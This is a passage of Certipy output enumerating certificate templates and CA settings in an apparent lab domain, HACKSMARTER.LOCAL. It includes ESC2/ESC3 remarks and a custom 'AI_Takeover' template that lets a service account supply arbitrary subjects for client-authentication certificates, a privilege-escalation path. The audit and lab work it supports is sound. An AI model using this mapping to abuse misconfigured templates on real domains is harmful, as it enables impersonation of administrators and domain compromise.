MachineEnrollmentAgent Display Name : Enrollment Agent (Computer) Enabled : False Client Authentication : False Enrollment Agent : True Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns SubjectRequireDnsAsCn Enrollment Flag : AutoEnrollment Extended Key Usage : Certificate Request Agent Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 15 Template Name : EnrollmentAgentOffline Display Name : Exchange Enrollment Agent (Offline request) Enabled : False Client Authentication : False Enrollment Agent : True Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Certificate Request Agent Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 16 Template Name : EnrollmentAgent Display Name : Enrollment Agent Enabled : False Client Authentication : False Enrollment Agent : True Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectRequireDirectoryPath Enrollment Flag : AutoEnrollment Extended Key Usage : Certificate Request Agent Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 17 Template Name : CTLSigning Display Name : Trust List Signing Enabled : False Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectRequireDirectoryPath Enrollment Flag : AutoEnrollment Extended Key Usage : Microsoft Trust List Signing Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 18 Template Name : CodeSigning Display Name : Code Signing Enabled : False Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectRequireDirectoryPath Enrollment Flag : AutoEnrollment Extended Key Usage : Code Signing Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 19 Template Name : EFSRecovery Display Name : EFS Recovery Agent Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectRequireDirectoryPath Enrollment Flag : IncludeSymmetricAlgorithms AutoEnrollment Private Key Flag : ExportableKey Extended Key Usage : File Recovery Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 5 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 20 Template Name : Administrator Display Name : Administrator Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectAltRequireEmail SubjectRequireEmail SubjectRequireDirectoryPath Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs AutoEnrollment Private Key Flag : ExportableKey Extended Key Usage : Microsoft Trust List Signing Encrypting File System Secure Email Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 21 Template Name : EFS Display Name : Basic EFS Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectRequireDirectoryPath Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs AutoEnrollment Private Key Flag : ExportableKey Extended Key Usage : Encrypting File System Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Users HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Users HACKSMARTER.LOCAL\\Enterprise Admins [+] User Enrollable Principals : HACKSMARTER.LOCAL\\Domain Users 22 Template Name : SmartcardLogon Display Name : Smartcard Logon Enabled : False Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectRequireDirectoryPath Extended Key Usage : Client Authentication Smart Card Logon Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 23 Template Name : ClientAuth Display Name : Authenticated Session Enabled : False Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectRequireDirectoryPath Enrollment Flag : AutoEnrollment Extended Key Usage : Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Users HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Users HACKSMARTER.LOCAL\\Enterprise Admins 24 Template Name : SmartcardUser Display Name : Smartcard User Enabled : False Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectAltRequireEmail SubjectRequireEmail SubjectRequireDirectoryPath Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs Extended Key Usage : Secure Email Client Authentication Smart Card Logon Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 25 Template Name : UserSignature Display Name : User Signature Only Enabled : False Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectAltRequireEmail SubjectRequireEmail SubjectRequireDirectoryPath Enrollment Flag : AutoEnrollment Extended Key Usage : Secure Email Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Users HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Users HACKSMARTER.LOCAL\\Enterprise Admins 26 Template Name : User Display Name : User Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectAltRequireEmail SubjectRequireEmail SubjectRequireDirectoryPath Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs AutoEnrollment Private Key Flag : ExportableKey Extended Key Usage : Encrypting File System Secure Email Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Users HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Users HACKSMARTER.LOCAL\\Enterprise Admins [+] User Enrollable Principals : HACKSMARTER.LOCAL\\Domain Users [*] Remarks ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. 27 Template Name : AI_Takeover Display Name : AI_Takeover Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs Private Key Flag : ExportableKey Extended Key Usage : Client Authentication Secure Email Encrypting File System Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T16:16:36+00:00 Template Last Modified : 2025-09-21T16:16:36+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Soulkiller.svc HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Administrator Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 28 Template Name : KerberosAuthentication Display Name : Kerberos Authentication Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDomainDns SubjectAltRequireDns Enrollment Flag : AutoEnrollment Extended Key Usage : Client Authentication Server Authentication Smart Card Logon KDC Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Enterprise Read-only Domain Controllers HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\Enterprise Domain Controllers Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\Enterprise Domain Controllers Write Property AutoEnroll : HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Domain Controllers 29 Template Name : OCSPResponseSigning Display Name : OCSP Response Signing Enabled : False Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns SubjectRequireDnsAsCn Enrollment Flag : AddOcspNocheck Norevocationinfoinissuedcerts Extended Key Usage : OCSP Signing Requires Manager Approval : False Requires Key Archival : False RA Application Policies : msPKI-Asymmetric-Algorithm`PZPWSTR`RSA`msPKI-Hash-Algorithm`PZPWSTR`SHA1`msPKI-Key-Security-Descriptor`PZPWSTR`D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;GR;;;S-1-5-80-3804348527-3718992918-2141599610-3686422417-2726379419)`msPKI-Key-Usage`DWORD`2` Authorized Signatures Required : 0 Schema Version : 3 Validity Period : 2 weeks Renewal Period : 2 days Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins 30 Template Name : RASAndIASServer Display Name : RAS and IAS Server Enabled : False Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns SubjectRequireCommonName Enrollment Flag : AutoEnrollment Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\RAS and IAS Servers Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\RAS and IAS Servers 31 Template Name : Workstation Display Name : Workstation Authentication Enabled : False Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns Enrollment Flag : AutoEnrollment Extended Key Usage : Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Computers HACKSMARTER.LOCAL\\Enterprise Admins Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Computers HACKSMARTER.LOCAL\\Enterprise Admins 32 Template Name : DirectoryEmailReplication Display Name : Directory Email Replication Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDirectoryGuid SubjectAltRequireDns Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs AutoEnrollment Extended Key Usage : Directory Service Email Replication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Enterprise Read-only Domain Controllers HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\Enterprise Domain Controllers Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\Enterprise Domain Controllers Write Property AutoEnroll : HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Domain Controllers 33 Template Name : DomainControllerAuthentication Display Name : Domain Controller Authentication Certificate Authorities : hacksmarter-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns Enrollment Flag : AutoEnrollment Extended Key Usage : Client Authentication Server Authentication Smart Card Logon Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-09-21T15:42:14+00:00 Template Last Modified : 2025-09-21T15:42:14+00:00 Permissions Enrollment Permissions Enrollment Rights : HACKSMARTER.LOCAL\\Enterprise Read-only Domain Controllers HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\Enterprise Domain Controllers Object Control Permissions Owner : HACKSMARTER.LOCAL\\Enterprise Admins Full Control Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Owner Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Dacl Principals : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Enterprise Admins Write Property Enroll : HACKSMARTER.LOCAL\\Domain Admins HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Admins HACKSMARTER.LOCAL\\Enterprise Domain Controllers Write Property AutoEnroll : HACKSMARTER.LOCAL\\Domain Controllers HACKSMARTER.LOCAL\\Enterprise Domain Controllers [*] Wrote text output to 'stdout' [*] Saving JSON output to '20251228152949_Certipy.json' [-] Error writing output file: [Errno 13] Permission denied: '20251228152949_Certipy.json'. Dumping to stdout instead [-] Use -debug to print a stacktrace { "Certificate Authorities": { "0": { "CA Name": "hacksmarter-DC01-CA", "DNS Name": "DC01.hacksmarter.local", "Certificate Subject": "CN=hacksmarter-DC01-CA, DC=hacksmarter, DC=local", "Certificate Serial Number": "1DBC9F9ECF287FB04FDE66106578611F", "Certificate Validity Start": "2025-09-21 15:32:14+00:00", "Certificate Validity End": "2030-09-21 15:42:14+00:00", "Web Enrollment": { "http": { "enabled": false }, "https": { "enabled": false, "channel_binding": null } }, "User Specified SAN": "Disabled", "Request Disposition": "Issue", "Enforce Encryption for Requests": "Enabled", "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy", "Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Administrators", "Access Rights": { "1": [ "HACKSMARTER.LOCAL\\\\Administrators", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "2": [ "HACKSMARTER.LOCAL\\\\Administrators", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "512": [ "HACKSMARTER.LOCAL\\\\Authenticated Users" ] } } } }, "Certificate Templates": { "0": { "Template Name": "KeyRecoveryAgent", "Display Name": "Key Recovery Agent", "Enabled": false, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 2147483648 ], "Enrollment Flag": [ 1, 2, 4, 32 ], "Private Key Flag": [ 16 ], "Extended Key Usage": [ "Key Recovery Agent" ], "Requires Manager Approval": true, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 2, "Validity Period": "2 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", 